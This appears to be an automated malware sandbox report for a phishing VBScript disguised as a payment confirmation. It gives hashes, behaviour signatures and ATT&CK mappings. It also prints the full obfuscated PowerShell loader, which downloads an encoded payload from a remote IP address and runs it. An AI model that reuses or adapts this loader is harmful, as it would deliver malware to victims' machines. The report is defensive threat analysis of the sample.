208a58c11df2608ba40daf453a31ddd82230357077397f3b2f1a7645e881b232

Analysis

max time kernel
130s
max time network
144s
platform
windows7_x64
resource
win7-20241023-en
resource tags

arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
submitted
30-11-2024 15:28

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

0702/Payment Confirmation (1).vbs
Size

28KB
MD5

f72a6162ebf2a0efc89edbbff12cf158
SHA1

89d7535775bac5a07d9ae7e76e9b397541c0265b
SHA256

12c916ad80fea271f8d47a0277ce8a8c2090c428adcf2ec538f9f6b6e6d91aea
SHA512

fa906e47822bdeb66e2a46bb3c399e1fad465741b42a21218c3426a23c99ca65f5d48b4847c1a634c9bd660b2003e2d39eb7ddc5b90f2055a6ae36f904be1acc
SSDEEP

384:CVRg/BATSpM+Z2AsC7LnCTyHbrF9MEAJIfP3Od85Gmg:Kg5ATSpMsnBnnCTkbrF+43M8Pg

Score

8^/10

discovery execution

Malware Config

Signatures

Blocklisted process makes network request 7 IoCs

flow	pid	Process
3	1988	WScript.exe
6	2276	powershell.exe
9	2276	powershell.exe
10	2276	powershell.exe
11	2276	powershell.exe
12	2276	powershell.exe
13	2276	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2276	powershell.exe

Network Service Discovery 1 TTPs 1 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
2276	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2276	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2276	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1988 wrote to memory of 2276	1988	WScript.exe	30
PID 1988 wrote to memory of 2276	1988	WScript.exe	30
PID 1988 wrote to memory of 2276	1988	WScript.exe	30
PID 2276 wrote to memory of 2744	2276	powershell.exe	32
PID 2276 wrote to memory of 2744	2276	powershell.exe	32
PID 2276 wrote to memory of 2744	2276	powershell.exe	32

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0702\Payment Confirmation (1).vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1988
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Viljestrk Taxies Datch Unexplosively Unclipper opsadlede Knox Byguerillaernes Dragen Fyrstehoffernes Psocids Thetarytme Dommerklub Antidoted Bacteroides47 Foerstedel Rendzina Definitionsmngderne244 Forngterens Tillgsbetalings Siris Reproducerer Skovfogedblerne Credo Viljestrk Taxies Datch Unexplosively Unclipper opsadlede Knox Byguerillaernes Dragen Fyrstehoffernes Psocids Thetarytme Dommerklub Antidoted Bacteroides47 Foerstedel Rendzina Definitionsmngderne244 Forngterens Tillgsbetalings Siris Reproducerer Skovfogedblerne Credo';If (${host}.CurrentCulture) {$Banderillero++;}Function Mashlin($Corban){$Goosing=$Corban.Length-$Banderillero;$Solubilities180='SUBsTRI';$Solubilities180+='ng';For( $aflvningsmiddels=7;$aflvningsmiddels -lt $Goosing;$aflvningsmiddels+=8){$Viljestrk+=$Corban.$Solubilities180.Invoke( $aflvningsmiddels, $Banderillero);}$Viljestrk;}function Catholicate($Lyncine){ . ($Svinske25) ($Lyncine);}$Sikhens=Mashlin ' RugenbMItalienoKdery,ezBefugteiPh,tololFhovedel.udgerealserund/Koasuta5 Bribeg.Clearhe0Underud Lolansp(kamgavlWMawingriOverfo.n Overp dGnarredoopportuw.ahabeas Preemp Ant nagNEf.erspT Preter Blinde1Utaalmo0Parkeri.Fontina0E rthin; onabso .ortidsWf iktioiG,uppeanNonconc6Aracari4 Abbots;R aensb Trinervx Moni,o6Observ.4 Brepil;Sognefo Cyc,otrH.lautov Lssene:Polyes.1Prkener2 Allahc1jongl,r. Reinco0 Deduct)Gleaned T easurGkautionePoli urc Tpdherk Sukkerocarpopo/Fa litt2Gordyfy0Desilve1 Langpl0Coconsc0Senatus1Parapla0Mercify1 tartb Underb,FOverhrti Religirmodulate Statssf ChieftoBortforxLogfile/ Unclin1Flyttel2Nepotis1Bverr t.Dis ppo0Sammens ';$Sensationer=Mashlin 'SolingkUCell.resSkybrude,nshakerScandal- CentimAp,eoccugParad.ne LimphanEffluent Pla.tp ';$Unclipper=Mashlin ' SkrifthSk.lepat vangsftOverextp Snren :Digebru/ Brugsv/Stenion1sandema0 K mmar3Drikkes.Talioni2Sacr me3General7postco,.V,relag8E,cyoff6elfenbe.Adfrds.2Mijn,ee4Colorif7Semiana/SkrigedDTaksatiaSprogbrg Succ.dustilleveIverensrAgrafedr.ehndige TusindoDeaminatj,nerelyBequotep Atriumi FrownsePushilyrM usehanSarinoseaabentvsNoug,te.CockpitfM,slinglW.istwaakuratel ';$Gesjftigstes=Mashlin '.acemak>Coglori ';$Svinske25=Mashlin ' U,ilisiSundhedeMedmennxPr,stit ';$Bmw='Byguerillaernes';$Anskaffedes = Mashlin 'Isblokke Opht.acMadnesshPryglero Dep le Prevari%H ircapaSuggestpCivilbepFrbaadedGuldfataindm,dstOvergloaFarve.r%Fuldebd\BunddkkRgemmedmePreinven Shi kioIntensiwFo,staanEuroomre.nstrukrA.ylate.Manged S Rds,lsuBuf,erenUdlgger Sterr.t&Barna,t&Usselve WhissleeWrassesc,loweryhInkstonoLi,uori Lys,pritSko are ';Catholicate (Mashlin 'Obs.etr$GasbagggUnpleaslMediat.o ViniesbOutplacaUd ullelPharmac:.aferwohRefu,biaMek.niss.lveaartMe struiSkorstegSvengalhGatedhaeNonfecudkrigsspeSydste.rVariabe=Kontoku(Hallucic Su fitmBlackbudSkresta Undece/VerdenscFarmin, Hordeol$E,rwigsAsnep,ovn Disnums elikatkF,ortenaBahamanfEjerbolf NyligeeChastendSoterioeVirrerusEqui,on) Rigdom ');Catholicate (Mashlin 'telefon$Uncomf gSpoofislHalvfjeosideshabSabiania Soci,llDiverto:Deth,onUGenoplinLivsbeteS.ongilxL,vsfarpDoyzarrlForstuvoHanernesP,ykiatiChar.ervE.ternaeCookedmlm,rdentyF.sions=Residen$ CentraU Brud,un.eshadoc D.wfallUnianguiAlpinisp Grabekp Somm,re,rogenerOmdigtn.Fa vetasVentrikp.obakshlA,veolaiCrojikst Konsta( Brasek$UnderbeGPaaseteeSynapsis.lkenslj ,elegof ChifrytInfraociGen.ancg TribunsUnfussitDiv,rsiesmertinsTypo.ra)Snrlive ');Catholicate (Mashlin 'Blok,lj[Klis erNSnapsefeTapp.mat Reetab.BasiskoS,ormindeExtoll,rKaprifov SstersielektrochomoeopeU prompPpseu,opoPersonaiNonlogin Prema tslippetMStravaia ArbejdnBefriela OrenesgDimercueTyfonsmrBikukul]Estrago:Kanonfo:NavneliSSolkre.eE,travecAgamospuTildragrKortadri Nu,erit TacklyyspriggaPB ikettrChironooDelkoratskae,tgoHistoricMiljre oEcoddamlDispers Landstn=Charpie Loranst[ NewsbeNEnchyleeKurchattRrggent.Balla eSCyanaceeBevidnec dongo uPaperinr .edasci Ac.tyltGiftek,yR,troreP RaymunrElmaal.oAbandontHypnoloo OverarcUtri ulohjernehlMarkedsTIspellcyMonsoonpBali,tieDefendr]Subthri:Syldste:AficionTE captilMurg onsoverhea1 yrefab2Bangalo ');$Unclipper=$Unexplosively[0];$Flourishingly= (Mashlin ' Materi$Kaskadeg odsinlSjl,helo ftersobGun,tigaLonersolSynch,o:SerpentMPu,likueNdringslbarryggoBortratdSpgelsei,induessFejludseReshipm=UomgngeNKoaguleeS.ecifiwLegater-CocoforOUrligtcbReseratjSciaenie bolledcKnobstitOdor.nt TromlebS Aperieyout,abbsAdvantatRyatp,eeLamellamPreexpe. MiddelNn ntheieperistot Shrubl.BundfryWUnobstreNon iscbbrahmanCRegentelMora.doiVlverneeKollagenAnteda,t');$Flourishingly+=$hastigheder[1];Catholicate ($Flourishingly);Catholicate (Mashlin 'lim alk$AfgrdenMSuperpreboolskelhu,rsygo,bessindGringeriZebuernsRis ersetwanaer.IndesneHHundr,de ikseanasubtrakd,aspiste Bi,ephrNonrespsAirplan[Dansemu$KabellgSTolkereeFor undnSkotjsfs.retaniaA.lurintVulcanaiParakeeoCoscetbnUrukueneEphemerrLukewa,]Sp,radi=Magnhi.$chill mSOvercuri Macrurk Reconvh SammeneSkakt kn rigs,ms Noneli ');$Samleskinner=Mashlin 'Myrtilu$AutobioMDe.elopeUdarmerl Anato.o ParlamdtriglyciU,loadusKienanueN.veauo.IndvandDUncoloroSkovbruwindholdnPneuma,lUpthr woOvergana Cotu.adPatientFObje.tiiIfeck.fl Datasee Agency(percept$SidelinUB.learinNicholacPachydelTopiskei rimesypDelftwapErstatneOuteatcrpreflig,C mpute$WilhelmRBarounieRivet ep Brode.rBronchooRielnitd,eallnsuAr,uatecV ldfrte Pe iodr OpmagaeGodtgrerDumbbel)Frerpr ';$Reproducerer=$hastigheder[0];Catholicate (Mashlin 'Santali$TuristagUfologilKlirredoIrretenbRekl,meaGra.erelHotdogg:Velvr sTtrisporhSuddennuIsraelinSmudsbldSolstikrFornyeloParilicuK empess Diaram=Overskr(Komitm TmenusekeFuturabsUnc.mbit Underl-Unf,ozeP Uneffea PhenmitBacktenhUffobru Kar ntn$DrpladeRUsympatePhotomap UnaggrrEna.rigo Reta,ed.iskrimuUtilgngcU,lessue grub.rrKlantereDecayabrS.perim)Mongrel ');while (!$Thundrous) {Catholicate (Mashlin 'Testuds$VilladsgReusserlPar.hypotruantlb DyscraaEfters.lMolenss: FonetiHAustempvCarbarniStted.mdUhygge gToryweeuExitenslMaltrakdBrdekor=Subramo$Ba sangt FikserrNitrateuTalstrkeUnsalva ') ;Catholicate $Samleskinner;Catholicate (Mashlin 'Sto,medSMannosetHaggishaselvflgrHalvpunt Halvto- TilsatSEftestulHje,meleGingerseHeaviespDowerov Luf.hav4Suspect ');Catholicate (Mashlin 'Mo erig$ruberytgUnsavo,l TodkkeoKlunketbP,egrataPippinslTaphane:LithifiTHovedsthFracturuRepri inDays ard BanalirEncycloosyndikauD.rmitisCardais=Flgende(CarnifeTGrandmaeBonbonnsIsogenetTartele-SuccessP alkyriagaa,dejtBulderkhkirking Beguin$Stafe,lREva,oraeStylistpFyresedr arvieaoGastrondE cultuu outcooc sta.ieelehrsmerSkydiveeDiatr pr inolog)Pailowi ') ;Catholicate (Mashlin 'Luftfor$Uptossig Landm lResea,eoFri andbNnsomtgaSurinaml Fjorte:BegivenDPeonageaKlapp,rtFandangcPr,ssiohRes nif=Success$BilinspgDiscut,lKlvere obenc.rebUnderreaKollektl.ormatl:PreimprTRelenteaStantonxUnshameiUngiddyeM rgenlsKl,erru+Miss ur+For.nnv%,apseri$t.rfagsU Sph,ngnAmphisieScolecixJuniorcpU,sortel ykningo anters ReprseiTarnfrhvResidu,eKvind,kl SlimsiyI entif.Couldesc S.acelo Spec ru.ankrolnSa chartSqueezi ') ;$Unclipper=$Unexplosively[$Datch];}$Cafeterieejerne=335771;$Unoccupiedness111=31688;Catholicate (Mashlin 'Greenbo$VideobagMotionsl SoutheopeucitebDialyseaUn.entllHyposta: HomeozDCwtdisrrMglerviaForhaangAffabileFlambeenAfsvedn Kassati=fe ered Retra.sGDiagonaeVanquist Lemmed-ByggesaCPaladseoChaffennBrnefamt Chimerepred.can.eteraktLsehove Skuespi$D.legerRdue ighe ildmanp.fsyrinrAggressoKonfek,dBonbonnu VirilicJ mfruheMecca.br Triumfe AtomisrAmtsraa ');Catholicate (Mashlin 'Hvidsyn$.legnerg Graphol HviledomakrorebUnapp.oaNightc.lRetouch:GennemgER,covera MousinrPhosphotParkinchDisgenisArchiluhMephistiBashingnpreplanePulples Kinkier=Ultramo Teksth[ .halciSKnyttelyRe.oketsGismondtNoelle,eLom espmDess.rt.L ndbruCOmkldnioTalahibn OverspvReorganeRokerinrLegiohat Overby]Puinavi:Decimal:SelectlFNeap,lir fascisoC.mputemGensi iBSammenba eaconsUn.ialbekbspris6 ibatio4tr,lleySUnanimotAalbindrPeltingiGenindkn ges usgBolig.a(Samle,g$Tev ndsDAk.ieavr SurrogaForurengPiaristeSonedeun Connoi) Plasti ');Catholicate (Mashlin 'Nonexec$FadsecogBagsidelS,ymikroB.fjersbSensizeacountywlBrnewor:,rdifasTUnderdih.chateteDeciderttaengeraTestostrSkabertyCardio tBanalismAmativeeForargb Prisstt= Pierce Acryld[PropendS nfacetyskvisnis,carpertResqu.nepa.hetimHi chhi.UdsigtsTMastu,beTripterx ,obilitAmmoc e.Lurer eENrbill nBryskesc Macedoo HerhendDrbtfariUdenomrn Irett gChie.er]Unev.ng:Almisse:OverreaAFort edSjurisdiCRug ginISplitteI,iskuss.UndersaGZooph,te Pe tlytDrni.geSOplandstUnr,vearTraileri ThallonFrserengKollegi( Invent$FramegrEBjlkeh aNiftilyrAlmengrtunstitchSonicats Lyssuvh M lakiiSettimon Licentecoupals)Bullnec ');Catholicate (Mashlin ' S rlig$Mycel ugSucceedldysmerooSemispeb Su picaJosherpl Risq e:N,nguarDDukked aFredninmSiccantpLavemens U.obsekfellaspi.tigmatbDistribsstavelsfChris,io Ud.etarMind tebGramsciiSamlebanGengldtd M.litreLysbil,lFedtsyrs BadutseAgertidrKollektsAgonied=Bubonoc$AkademiTDocentshStudieeeUn hoosta.sishua l,crinrKmperesy S,ineptHusmandmLob teue ermes. GenavnsMes,speu CosmopbSkarpsks Fo niktMarriagr SocialiLaundscnKonsu agSjklera(Beautsi$AftaletCLangluvaVituperf U.paraeMetaportOutsouneRme.glarTeatedbiPuzzledeElectr eCaracoljDebaseseP.stattrOverr snGouverneKizbetj, atakop$ GustavUAfvandrnHavfiskoStu,percElectric Havehuu,ucranepBrdfabriUnem,nceDatidigd Basilin anvis.eBataljes BlazonsObstina1pomegra1kjeldfi1Hypsoph)Forsvrg ');Catholicate $Dampskibsforbindelsers;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Network Service Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2276
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Renowner.Sun && echo t"
    3⤵
    PID:2744

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Network Service Discovery

T1046

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\CabB3B7.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
memory/2276-20-0x000007FEF5BEE000-0x000007FEF5BEF000-memory.dmp

Filesize
4KB

Download
memory/2276-21-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

Filesize
2.9MB

Download
memory/2276-22-0x0000000002720000-0x0000000002728000-memory.dmp

Filesize
32KB

Download
memory/2276-23-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download
memory/2276-24-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download
memory/2276-25-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download
memory/2276-26-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download
memory/2276-27-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download
memory/2276-28-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download
memory/2276-29-0x000007FEF5BEE000-0x000007FEF5BEF000-memory.dmp

Filesize
4KB

Download